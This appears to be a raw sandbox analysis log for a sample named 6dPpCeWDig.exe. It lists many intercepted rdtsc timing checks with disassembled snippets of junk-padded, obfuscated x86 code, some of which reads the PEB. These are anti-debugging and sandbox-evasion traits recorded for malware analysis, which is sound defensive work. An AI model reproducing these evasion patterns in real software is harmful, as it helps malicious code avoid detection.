Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15384B6 second address: 15384F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F38E4FF50C5h 0x0000000b popad 0x0000000c jng 00007F38E4FF50E1h 0x00000012 jng 00007F38E4FF50CFh 0x00000018 jmp 00007F38E4FF50C3h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15384F3 second address: 15384FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F38E4FECF3Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1541062 second address: 1541071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1541071 second address: 1541075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1541075 second address: 1541079 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1541079 second address: 154107F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15443F7 second address: 15443FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1546542 second address: 1546548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1546548 second address: 154656D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154656D second address: 1546573 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154AF95 second address: 154AF9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F38E4FF50B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154AF9F second address: 154AFA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154B265 second address: 154B26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154B26D second address: 154B273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154B273 second address: 154B27D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154B27D second address: 154B2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007F38E4FECF36h 0x00000014 jmp 00007F38E4FECF48h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154B2A9 second address: 154B2BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154B426 second address: 154B460 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnl 00007F38E4FECF45h 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007F38E4FECF36h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154BEDF second address: 154BEE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154BEE3 second address: 154BEFF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F38E4FECF3Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154BEFF second address: 154BF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 154BF03 second address: 154BF15 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F38E4FECF36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jp 00007F38E4FECF36h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15505E7 second address: 15505ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15505ED second address: 15505F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15501A4 second address: 15501B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F38E4FF50B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15894A2 second address: 15894B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F38E4FECF38h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15894B6 second address: 15894BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 1594973 second address: 1594993 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F38E4FECF36h 0x0000000a popad 0x0000000b push edi 0x0000000c jmp 00007F38E4FECF3Dh 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15947FA second address: 1594817 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F38E4FF50C5h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 158E022 second address: 158E026 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 158E026 second address: 158E02F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15A3D3A second address: 15A3D5F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F38E4FECF3Ch 0x00000008 jmp 00007F38E4FECF3Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 15A3D5F second address: 15A3D65 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 16684C5 second address: 16684CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 166A127 second address: 166A132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F38E4FF50B6h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 166E460 second address: 166E467 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 166E763 second address: 166E767 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 16700EB second address: 16700FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F38E4FECF40h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 16700FF second address: 1670107 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 166FCC8 second address: 166FCDA instructions: 0x00000000 rdtsc 0x00000002 jg 00007F38E4FECF36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F38E4FECF36h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785000C second address: 7850020 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50C0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850020 second address: 7850049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F38E4FECF45h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850049 second address: 7850077 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F38E4FF50C1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850077 second address: 785007B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785007B second address: 785008E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785008E second address: 78500C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F38E4FECF48h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78500C9 second address: 78500CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78500CF second address: 785016F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FECF3Ch 0x00000009 adc al, FFFFFF88h 0x0000000c jmp 00007F38E4FECF3Bh 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F38E4FECF48h 0x00000018 jmp 00007F38E4FECF45h 0x0000001d popfd 0x0000001e popad 0x0000001f pop edx 0x00000020 pop eax 0x00000021 mov eax, dword ptr fs:[00000030h] 0x00000027 jmp 00007F38E4FECF3Eh 0x0000002c sub esp, 18h 0x0000002f pushad 0x00000030 call 00007F38E4FECF3Eh 0x00000035 pushfd 0x00000036 jmp 00007F38E4FECF42h 0x0000003b and esi, 58F47FA8h 0x00000041 jmp 00007F38E4FECF3Bh 0x00000046 popfd 0x00000047 pop esi 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785016F second address: 785017D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov ecx, edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785017D second address: 7850182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850182 second address: 78501B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, di 0x00000006 pushfd 0x00000007 jmp 00007F38E4FF50BDh 0x0000000c adc cl, 00000076h 0x0000000f jmp 00007F38E4FF50C1h 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov dword ptr [esp], ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov bx, 92FEh 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78501B9 second address: 78501CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF3Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78501CB second address: 7850202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebx, dword ptr [eax+10h] 0x0000000e jmp 00007F38E4FF50C6h 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ebx, 63A73540h 0x0000001c movsx ebx, ax 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850202 second address: 7850228 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38E4FECF44h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850228 second address: 785023A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FF50BEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785023A second address: 7850260 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F38E4FECF40h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850260 second address: 785026F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785026F second address: 78502E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F38E4FECF3Fh 0x00000008 pop eax 0x00000009 mov dx, 86BCh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov esi, dword ptr [756006ECh] 0x00000016 jmp 00007F38E4FECF3Bh 0x0000001b test esi, esi 0x0000001d jmp 00007F38E4FECF46h 0x00000022 jne 00007F38E4FEDD7Ah 0x00000028 jmp 00007F38E4FECF40h 0x0000002d xchg eax, edi 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007F38E4FECF47h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78502E2 second address: 7850316 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FF50BFh 0x00000009 jmp 00007F38E4FF50C3h 0x0000000e popfd 0x0000000f mov bl, ah 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 mov dx, ax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850316 second address: 785039B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007F38E4FECF48h 0x00000009 pop ecx 0x0000000a popad 0x0000000b popad 0x0000000c xchg eax, edi 0x0000000d pushad 0x0000000e mov si, dx 0x00000011 pushfd 0x00000012 jmp 00007F38E4FECF43h 0x00000017 adc ch, 0000001Eh 0x0000001a jmp 00007F38E4FECF49h 0x0000001f popfd 0x00000020 popad 0x00000021 call dword ptr [755D0B60h] 0x00000027 mov eax, 7696E5E0h 0x0000002c ret 0x0000002d jmp 00007F38E4FECF3Eh 0x00000032 push 00000044h 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F38E4FECF47h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785039B second address: 78503A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78503A1 second address: 78503A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78503A5 second address: 78503A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78503A9 second address: 78503D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 jmp 00007F38E4FECF47h 0x0000000e xchg eax, edi 0x0000000f pushad 0x00000010 mov al, ABh 0x00000012 mov ah, dl 0x00000014 popad 0x00000015 push eax 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov dl, 1Fh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78503D6 second address: 7850445 instructions: 0x00000000 rdtsc 0x00000002 mov edi, esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 movzx esi, bx 0x00000009 popad 0x0000000a xchg eax, edi 0x0000000b pushad 0x0000000c call 00007F38E4FF50C5h 0x00000011 call 00007F38E4FF50C0h 0x00000016 pop eax 0x00000017 pop ebx 0x00000018 push ecx 0x00000019 push edx 0x0000001a pop esi 0x0000001b pop ebx 0x0000001c popad 0x0000001d push dword ptr [eax] 0x0000001f jmp 00007F38E4FF50C6h 0x00000024 mov eax, dword ptr fs:[00000030h] 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F38E4FF50C7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850445 second address: 785044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785044B second address: 785044F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850492 second address: 7850499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov ecx, ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850499 second address: 785049F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785049F second address: 78504E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF42h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d jmp 00007F38E4FECF40h 0x00000012 je 00007F3952D1C115h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F38E4FECF47h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78504E8 second address: 78504EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78504EE second address: 78504F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78504F2 second address: 7850581 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub eax, eax 0x0000000d jmp 00007F38E4FF50BFh 0x00000012 mov dword ptr [esi], edi 0x00000014 jmp 00007F38E4FF50C6h 0x00000019 mov dword ptr [esi+04h], eax 0x0000001c jmp 00007F38E4FF50C0h 0x00000021 mov dword ptr [esi+08h], eax 0x00000024 jmp 00007F38E4FF50C0h 0x00000029 mov dword ptr [esi+0Ch], eax 0x0000002c jmp 00007F38E4FF50C0h 0x00000031 mov eax, dword ptr [ebx+4Ch] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F38E4FF50C7h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850581 second address: 7850599 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850599 second address: 7850609 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+10h], eax 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F38E4FF50BDh 0x00000012 add esi, 6C8658F6h 0x00000018 jmp 00007F38E4FF50C1h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007F38E4FF50C0h 0x00000024 or esi, 07AFEA18h 0x0000002a jmp 00007F38E4FF50BBh 0x0000002f popfd 0x00000030 popad 0x00000031 mov eax, dword ptr [ebx+50h] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F38E4FF50C5h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850609 second address: 7850643 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esi+14h], eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F38E4FECF3Ch 0x00000013 or eax, 57E96ED8h 0x00000019 jmp 00007F38E4FECF3Bh 0x0000001e popfd 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850643 second address: 785067C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [ebx+54h] 0x00000008 jmp 00007F38E4FF50C7h 0x0000000d mov dword ptr [esi+18h], eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F38E4FF50C5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 785067C second address: 7850682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850682 second address: 7850686 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7850686 second address: 7850746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+58h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F38E4FECF45h 0x00000012 jmp 00007F38E4FECF3Bh 0x00000017 popfd 0x00000018 pushfd 0x00000019 jmp 00007F38E4FECF48h 0x0000001e or eax, 4F74B858h 0x00000024 jmp 00007F38E4FECF3Bh 0x00000029 popfd 0x0000002a popad 0x0000002b mov dword ptr [esi+1Ch], eax 0x0000002e jmp 00007F38E4FECF46h 0x00000033 mov eax, dword ptr [ebx+5Ch] 0x00000036 pushad 0x00000037 popad 0x00000038 mov dword ptr [esi+20h], eax 0x0000003b jmp 00007F38E4FECF46h 0x00000040 mov eax, dword ptr [ebx+60h] 0x00000043 jmp 00007F38E4FECF40h 0x00000048 mov dword ptr [esi+24h], eax 